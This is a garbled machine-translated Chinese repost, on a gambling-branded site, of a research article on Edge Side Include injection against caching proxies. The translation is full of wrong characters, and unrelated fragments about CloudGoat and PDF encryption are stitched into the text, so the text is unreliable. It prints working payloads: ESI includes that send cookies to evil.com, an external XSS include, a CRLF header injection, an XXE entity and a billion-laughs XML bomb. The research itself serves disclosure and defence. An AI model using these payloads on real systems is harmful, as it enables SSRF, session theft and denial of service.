滥用 ESI 详解(上) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

滥用 ESI 详解(上)

CloudGoat 官方演练教程:Capital One 泄密事件的启发

引言 云安全,特别是 AWS 安全,再次成为了新闻的焦点。 这次是银行业巨头 Capital One 公司的一个重大漏洞。 受影响的用户有1亿,是迄今为止最大的数据泄露事件之一。 Capital One 现在加入了成为 AWS 和其他云安全平台固有风险受害者的大量公司的行列。 为了让其他人了解 AWS 的安全风险,我们犀牛安全实验室创建了 CloudGoat。 CloudGoat 是一个“设计漏洞”的 AWS 部署工具,为有兴趣学习 AWS 安全性的人提供专注、精心策划的高质量学习体验。 每个场景都是一个独立的学习环境,有

在举行平安性评价时,我们注重到了标记言语 Edge Side Includes (ESI)中的一个不测行动,这类言语用于很多盛行的 HTTP 代办(反向代办、负载平衡器、缓存效劳器、代办效劳器)。 我们发明胜利的 ESI 进击可以致使效劳器端请求捏造(SSRF)、种种绕过 HTTPOnly cookie 减缓标志的跨站剧本向量(XSS)和效劳器端分布式谢绝效劳进击。 我们称这类手艺为 ESI 注入。

经由过程我们的测试,我们发清楚明了十几种盛行的可以处置惩罚 ESI 的产物: Varnish、 Squid Proxy、 IBM WebSphere、 Oracle fusion / weblogic、 Akamai、 Fastly、 F5、 Node.js、 LiteSpeed 和一些特定言语的插件。 并不是一切这些都默许启用了 ESI,但下面将进一步议论这个题目。

什么是Edge Side Includes(ESI) ?

ESI 言语基于了一小部份 XML 标签鸠合,在很多盛行的 HTTP 代办处理方案中运用,经由过程启用 Web 内容的高速缓存来处理机能题目。 ESI 标签用于指导反向代办(或缓存效劳器)猎取已缓存模板的网页的更多信息。 这些信息在供应给客户端之前可以来自另一台效劳器。 这许可完全缓存的页面包含动态内容。

ESI  的一个稀有用例是为那些基本上是静态的页面供应动态数据片断。 ESI  许可开辟职员用 ESI 标记替代页面的动态部份,从而增加了缓存灵活性。 因而,在请求页面时,代办将处置惩罚并猎取 ESI 标记,从而确保后端应用顺序效劳器的机能。

下面的图片可用于演示 ESI 的一个典范用例,即天色网站将缓存都市天色页面的内容。 然后,动态数据将被它们各自指向 API 端点 URL 的 ESI 标记替代。

 

ESI  的语法相称简朴。 上一个例子的 HTML 文件看起来是如许的:

<body>
  <b>The Weather Website</b>
  Weather for <ESI :include src="/weather/name?id=$(QUERY_STRING{city_id})" />
  Monday: <ESI :include src="/weather/week/monday?id=$(QUERY_STRING{city_id})" />
  Tuesday: <ESI :include src="/weather/week/tuesday?id=$(QUERY_STRING{city_id})" />
[…]

最初的 ESI 范例可以追溯到2001年,每一个供应商的完成差别很大。 每一个产物的特征集是差别的; 一些产物将缺乏一些特征,但在其他产物中会涌现。 你可以在这里浏览关于原始 ESI 范例的更多信息: http://www.w3.org/tr/ESI-lang。 它形貌了标记言语的用法和经常使用特征。 种种供应商,包含 Akamai 和 Oracle,也在范例之外增加了分外的功用。

题目所在

HTTP 代办不能区分由上游效劳器供应的正当 ESI 标记和在 HTTP 相应中注入的歹意标记。 换句话说,假如进击者可以胜利地在 HTTP 相应中反射 ESI 标记,那末代办将盲目地剖析和盘算它们,置信它们是来自上游效劳器的正当标记。

为了让 ESI 剖析器处置惩罚 ESI 标记,剖析器不能对小于号和大于号的字符举行编码或转义。 如今,web 应用效劳器一般会避开用户可控的特别字符,以减缓 XSS 进击。 虽然这将有用地阻挠被代办顺序剖析的 ESI 标记,但 ESI 标记偶然可以被注入到非 HTML 的 HTTP 相应中。 实际上,ESI 的一个当代特征是许可开辟职员向缓存和静态数据源增加动态内容,比方 JSON 对象和 CSV。 在 Fastly 的博客上可以找到关于 ESI + JSON 的详实教程,教程的内容显现可以设置 ESI 剖析器来处置惩罚 JSON 对象中的 ESI 标记。 由于当代框架会尝试将它们的转义事情置于高低文环境中,所以 API 端点许可 JSON 属性中相似 HTML 的字符串并不稀有,由于它们不该该被浏览器诠释为 HTML。 然则,这许可进击者损坏反射在带有 ESI 标记的 JSON 相应中的输入,代办将在传输过程当中对其举行诠释。

前面的场景异常稀有,由于它不代表任何已剖析的支撑 ESI 的产物的默许行动。 大多数稀有的进击向量将由后端效劳器反射 ESI 标记,然后由启用 ESI 的负载平衡器或代办举行处置惩罚。 明显,假如对用户输入举行了恰当的清算(为了减轻 XSS 进击,应当如许做) ,则代办将对 ESI 标记举行编码,而且永久不会对其举行处置惩罚。

ESI 注入的副作用

让我们来看看一些注入的稀有场景,以及它们可以用来做什么:

效劳器端请求捏造(SSRF)

可以说,ESI 范例最稀有和最有用的特征是 include 的运用。 ESI 的 include 是一个标签,当代办或负载平衡器处置惩罚这些标记时,实行另一个 HTTP 请求来猎取动态内容。 假如进击者可以向 HTTP 相应增加 ESI include 标记,则可以在代办效劳器(而不是应用顺序效劳器)的高低文中有用地实行 SSRF 进击。

比方,这个有用载荷可以用于在 HTTP 代办上实行 SSRF:

<ESI :include src="http://evil.com/ping/" />

假如收到 HTTP 回调,那末代办效劳器轻易遭到 ESI 注入的进击。 以下面所议论的,ESI 完成有所差别。 有些支撑 ESI  的效劳器不许可来自没有白名单的主机的 include 标签,这意味着你只能对一台效劳器实行 SSRF。 这在下面的 “变种完成” 一节中举行了议论。 下面的图表细致说清楚明了进击者怎样应用 ESI 来实行 SSRF:

1、进击者经由过程带有 ESI 有用载荷的代办效劳器实行请求,试图让后端效劳器在相应中反射该请求

2、代办效劳器吸收请求并将其转发到恰当的后端效劳器

3、应用顺序效劳器在相应中反射 ESI 有用载荷,并将该相应发送到代办效劳器

4、代办效劳器吸收到相应并举行剖析,搜检是不是存在任何 ESI 标记。 代办效劳器剖析反射的 ESI 标记,并提议对evil.com 的请求。

5、代办效劳器吸收来自evil.com 并将其增加到后端效劳器的初始相应中。

6、代办效劳器将完全相应发送回客户端

绕过客户端 XSS 过滤器

客户端 XSS 过滤器一般经由过程比较请求的输入和相应来事情。 当部份 GET 参数在 HTTP 相应中回显时,浏览器将启动一系列平安步伐,以肯定是不是反射了潜伏的 XSS 有用载荷。 假如浏览器实行的启发式算法将有用载荷辨认为 HTML 或 Javascript,那末它就失效了,进击也就失利了。

但是,Chrome 的 XSS 庇护并不知道 ESI 标记,由于它们从未打算在客户端举行处置惩罚。 经由过程实行一些 ESI 魔法,可以将 XSS 有用载荷的部份分配给 ESI 引擎中的变量,然后将它们打印返来。 ESI  引擎将在效劳器端构建歹意 Javascript 有用载荷,然后将其悉数发送到浏览器。 这将绕过 XSS 过滤器,由于发送到效劳器的输入不会按原样返回到浏览器。 让我们剖析一个简朴的有用载荷:

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>
>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

<ESI :assign> 操作符在效劳器端 ESI 变量中存储恣意值。 然后可以运用 $(variable_name) 操作符接见这个变量。 在前面的示例中,var1 变量存储值 cript。 然后将该值打印返来,以完成有用的剧本 HTML 标记。 然后返回的有用载荷将以以下体式格局返回:

<script>alert(/Chrome%20XSS%20filter%20bypass/);</script>

有些 ESI 完成不支撑 ESI 变量,因而会使该手艺失效。 当 include 可用时,而且可以将它们指向外部域时,可以简朴地包含一个包含 XSS 有用载荷的外部页面。 下面的示例形貌了运用 ESI 包含的典范 SSRF 到 XSS 进击。

poc.html:

<script>alert(1)</script>

然后,注入 ESI 标签来包含页面:

GET /index.php?msg=<ESI :include src="http://evil.com/poc.html" />

SSRF  将猎取 poc. html 页面并在网页中显现它,然后将有用载荷增加到 DOM 中。

绕过 HttpOnly Cookie 标志

经由过程设想,代办和负载平衡等 HTTP 代办可以接见完全的 HTTP 要乞降相应。 这包含浏览器或效劳器发送的一切 cookie。 ESI  范例的一个有用的特征是可以在 ESI 标记内的传输过程当中接见 cookie。 这许可开辟职员在 ESI 引擎中援用 cookie,经由过程应用 cookie 的状况性使它们具有更大的灵活性。

这个特征增加了一个主要的进击向量: cookie exfilling。 经由过程 Javascript 引擎盗取 cookie 的一个尽人皆知的对策是运用 HTTPOnly 标志。 当在建立 cookie 时指定这个标志时,将谢绝 Javascript 引擎接见 cookie 及其值的才,从而防备 XSS 进击盗取 cookie。 由于 ESI 是在效劳器端处置惩罚的,因而当这些 cookie 从上游效劳器传输到代办顺序时,可以援用它们。 一个进击向量是运用 ESI 的 include 在 URL 中将 cookie 提掏出来。 假定 ESI 引擎正在处置惩罚以下有用载荷:

<ESI :include src="http://evil.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />

在效劳器 evil.com 的 HTTP 日记中,进击者会看到:

127.0.0.1 evil.com - [08/Mar/2018:15:20:44 - 0500] "GET /?cookie=bf2fa962b7889ed8869cadaba282 HTTP/1.1" 200 2 "-" "-"

经由过程这类体式格局,设置了 HTTPOnly 标志的 cookie 可以在没有 Javascript 的情况下被提掏出来。

变种完成

如前所述,差别厂商的 ESI 完成差别很大。 差别产物的特征集差别,有些特征的完成体式格局也差别。 我们测试了一些产物,以肯定可以针对支撑 ESI  的软件举行的进击,并天生了下面的表格。

该表格的列以下所示:

Includes

这一列示意是不是在 ESI 引擎中完成了  <ESI :includes> 运算对象。

Vars(变量)

这一列示意是不是在 ESI 引擎中完成了<ESI :vars> 运算对象。

怎样攻破PDF加密

为了确保机密性,PDF文件是加密的。通过加密可以在没有其他保护机制的情况下,实现敏感文件的安全传输和存储。 发送者和接收者之间的密钥管理是基于口令或公钥的。如果是基于口令的,那么接收者必须知道发送者所使用的口令,或者口令必须通过安全通道来进行传输。如果是基于公钥的,那么发送者必须知道接收者的X.509证书。 安全问题 研究人员分析发现的pdf安全问题包括: 在没有对应口令的情况下,攻击者可以处理加密的pdf文件。PDF规范说明中允许明文和密文混合使

Cookie

这一列示意 ESI 引擎是不是可以接见 cookie。

须要上游效劳器的 HTTP 头

这一列示意 ESI 是不是须要上游效劳器的标头才运转。 除非上游应用顺序效劳器供应了 HTTP 头,不然代办项不会处置惩罚 ESI 语句。

主机白名单

这一列示意的 ESI 的 include 运算对象只针对白名单列出的效劳器主机起作用。 假如启用了主机白名单的功用,那末进击者就不能运用 ESI include 对除白名单主机之外的主机实行 SSRF 进击。

以下章节将会更细致地引见 ESI 的完成及特定于供应商的特征。

Squid3

Squid 的 ESI 文档险些不存在,因而我们必需运用源代码来查找 ESI 特征。 在测试种种 ESI 有用载荷时,我们发清楚明了与 Squid 最新版本的 ESI 剖析相干的两个分布式谢绝效劳进击毛病。 这两个题目是空指针援用致使的毛病,这将致使 Squid 效劳崩溃。 这两个破绽的编号分别为 CVE-2018-1000024和 CVE-2018-1000027。 以下两个通告细致说清楚明了易受进击的版本:

· http://www.squid-cache.org/Advisories/SQUID-2018_1.txt

· http://www.squid-cache.org/Advisories/SQUID-2018_2.txt

表露时间线:

· 2017年12月13日报告

· 2017年12月14日示知收到

· 2018年1月18日修复破绽

· 2018年1月21日宣布通告

下面是一个 ESI 的 include 运算对象可用于提取 cookies 的有用载荷:

<ESI :include src="http://evil.com/$(HTTP_COOKIE)"/>

ESI  的一些完成许可你指定要提取哪一个 cookie; Squid 不供应这一功用,你必需一次提掏出一切 cookie。

Varnish Cache

Varnish 完成的 ESI 在平安性方面相称牢靠。 ESI 的 include 指令只能对 VCL (Varnish Configuration Language)定义的上游效劳器实行。 这意味着 ESI 的 include 指令不能致使对恣意主机的 SSRF。 一切 SSRF 将被重定向到上游效劳器,减缓了大多数 SSRF 进击一般引发的题目。 在本文宣布时,在 Varnish Cache 中还没有完成 ESI vars。范例文档中有 vars 和 cookie 接见的完成设计。

在经由过程 Varnish 实行 ESI 时须要注重的一点是,默许情况下,假如 HTTP 相应的第一个非 nil 字符是小于号<,引擎将仅剖析 ESI。 这类搜检是为了确保不包含相似 xml 的内容的相应不会被 ESI 引擎处置惩罚。 假如没有这类机制,引擎将不得不处置惩罚每一个剖析 ESI 标记的请求,以至包含图象等二进制数据。 你也可以禁用此机能机制,以许可开辟职员在 JSON 以至 CSS 中运用 ESI 的 include 指令。 很多在线指南和论坛帖子都发起禁用此特征,以便在 JSON 数据块中激活 ESI。 当指定 ESI_DISABLE_XML_CHECK 标记时,ESI 标记将在经由过程代办效劳的任何 HTTP 事件中举行诠释。 经由过程这类体式格局,进击者可以将 ESI 标记增加到原本无害的事件中,比方 JSON API 相应或图片,而代办将诠释二进制数据中的 ESI 标记。 下面是一个图片的观点考证,中心附加了一个 ESI 有用载荷:

禁用此功用后,用户可以运用文件上传功用(比方设置文件图片功用)并向上传的数据中增加 ESI 标记。 然后,它们可以请求效劳器返回内容,从而致使 ESI 注入。

别的,在检察 Varnish Cache 中的 ESI 完成时,我们发明在 src 属性中 ESI 的 include 指令没有转义回车符和换行符(CRLF)字符。 这许可进击者向 ESI 的 include 指令中注入 HTTP 标头,从而致使发生完全性优越的 HTTP 相应支解破绽的新鲜变种。 进击者可以注入以下 ESI 有用载荷来天生一个带有两个分外 HTTP 头的 SSRF,X-Forwarded-For 和 JunkHeader:

<ESI :include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1 X-forded-for: 1%0d%0aJunkHeader:%20JunkValue 1.1.1/"/>
GET / HTTP/1.1 Get / http / 1.1
User-Agent: curl/7.57.0 User-agent: curl / 7.57.0
Accept: */* * / *
Host: anything.com
X-Forwarded-For: 127.0.0.1 X-forded-for: 127.0.0.0.1
JunkHeader: JunkValue 1.1.1
X-Forwarded-For: 209.44.103.130 X-forded-for: 209.44.103.130
X-Varnish: 120

表露时间线:ESI  的 include 指令的请求看起来像如许:

· 2018年1月25日报告

· 2018年10月26日示知已收到

· 2018年2月13日修复破绽

Fastly

Fastly 运用了大批自定义的 Varnish 后端,这意味着前面的大部份章节也适用于这一个供应商。 唯一的两个区别是 ESI 的include 指令中的上游效劳器不须要 Fastly 的 surrogate-control HTTP 头来剖析 ESI 内容。 另外,CRLF 注入好像没有影响到 Fastly。

Akamai ESI 测试效劳器(ETS)

Akamai 在 ESI 范例的开辟中扮演了主要角色(作为作者和编辑)。 这可以从它们的 ESI 完成中供应的大批特征以及它们供应的关于 ESI 的极为细致的文档中看到。 明显,我们愿望测试它们的 ESI 完成。 2017岁尾,我们联系了 Akamai 的平安负责人,亲身提到了我们正在举行的 ESI 注入研讨。 由于 Akamai 是一个付费的效劳供应商,我们请求取得一个临盆环境级的测试镜像,在那里我们可以实行种种与 ESI  相干的测试,但我们的好意被谢绝了。 由于我们没有获得 ESI 实例用于研讨目标,所以我们尝试取得预售试用,但从未收到他们贩卖团队的复兴。

我们终究决议对他们公然的 Docker 镜像举行测试。 这个 Docker 镜像包含一个带有自定义模块—— mod_ESI.so  的 Apache HTTP 效劳器。 所以,此模块是其 ESI 完成的20mb ELF 32位编译版本。 值得光荣的是,由于前面提到的文档异常细致,所以没有必要运用逆向工程对这个 so 库举行逆向。 由于这只是一个测试镜像,我们的发明可以不代表 Akamai 在临盆环境中的实例。 我们被示知,在临盆环境中,ESI 在默许情况下是禁用的,而且已设置了一些减缓掌握,包含 SSRF 庇护(主机白名单和其他减缓步伐)和可选的 WAF。

也就是说,Akamai ETS (ESI Test Server)好像轻易遭到上述一切场景的进击(SSRF、 HTTPOnly 绕过、 XSS 过滤器绕过)。

要运用 ESI 的 include 指令提取 cookie,可以运用下面的 HTTP cookie 字典按称号援用特定的 cookie:

<ESI :include src="http://evil.com/$(HTTP_COOKIE{'JSESSIONID'})"/>

Akamai ETS 还供应了一系列风趣的特征,比方 ESI 调试形式。 该形式经由过程  <ESI :debug/>运算对象启用,当激该死形式时,它将向 HTTP 相应中增加大批调试信息,比方原始文件(在代办效劳器上可以看到而不是应用效劳器)和一切环境变量。

还可以经由过程向 dca 参数指定 XSLT 值来增加基于 XSLT 的 ESI include 指令。 下面的 include 指令将致使 HTTP 代办项请求 XML 和 XSLT 文件。 然后运用 XSLT 文件过滤 XML 文件。 此 XML 文件可用于实行 XML 外部实体(XXE)进击。 这许可进击者实行 SSRF 进击,但这并不非常有用,由于这必需经由过程 ESI include 实行,而 ESI include 自身就是 SSRF 向量。 由于基本库(Xalan)不支撑外部 DTD,因而不剖析外部 DTD。 这意味着我们不能提取当地文件。

<ESI :include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT 文件:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

但是,由于我们可以运用 XML 实体,所以,涌如今十年前的 Billon-Laugh 进击是有可以的。 这类进击将递归地援用实体,致使挂起和内存耗尽,从而致使分布式谢绝效劳进击。我们在运用 Akamai ETS Docker 镜像在当地实行了进击,在一台有32gb 内存的机械上效劳住手了几秒钟。 下面的 XSLT 文件可用于实行内存耗尽进击:

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

NodeJS 的 ESI

为了支撑 ESI 标签,开辟了一些 node.js 模块。 它们可以用作中心件、模拟代办项或在源代码中内联。 这个库对 ESI 范例的完成相称多,支撑 include指令、变量 和 cookie。

要运用 ESI 的 include 指令提取 cookie,可以运用 HTTP_COOKIE 变量提取每一个 cookie:

<ESI :include src="http://evil.com/$(HTTP_COOKIE)"/>

NodeJS 的 nodESI 

此模块只支撑 ESI 的 include 指令,不支撑 ESI 变量。 当实行 ESI 注入时,该模块的保护职员完成了一个主机白名单机制,并在模块的文档中增加了一个平安章节。

其他供应商

我们没有对上述之外的任何其他供应商举行测试; 这不是对任何其他供应商关于其完成 ESI 平安性的产物的承认或指摘。

怎样检测 ESI 注入进击

有些代办将请求 ESI 处置惩罚在 Surrogate-Control  HTTP 报头中发出的信号,从而许可简朴的检测。 此标头用于向上游效劳器指导 ESI 标记可以涌如今相应中,而且应当根据这类体式格局对它们举行剖析。 假如你视察到以下 HTTP 头相应: Surrogate-Control: content=”ESI/1.0” ,那末你可以正在处置惩罚支撑 ESI  的基本构造。

然则,大多数代办和负载平衡器会在将该报头发送到客户机之前从上游效劳器中举行移除。 有些代办也不须要任何 Surrogate-Control  头。 因而,这不是肯定 ESI 运用的确实要领。 由于 ESI 完成中的特征挑选品种繁多,因而不能实行任何唯一的测试要领来测试 ESI 注入。 人们必需测试种种有用载荷并视察副作用,以准确辨认 ESI 可注入的端点。 比方,可以运用 ESI 的 include 指令对进击者掌握的效劳器实行 SSRF,然则有些完成会请求主机必需在白名单内。

本文翻译自:https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明滥用 ESI 详解(上)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址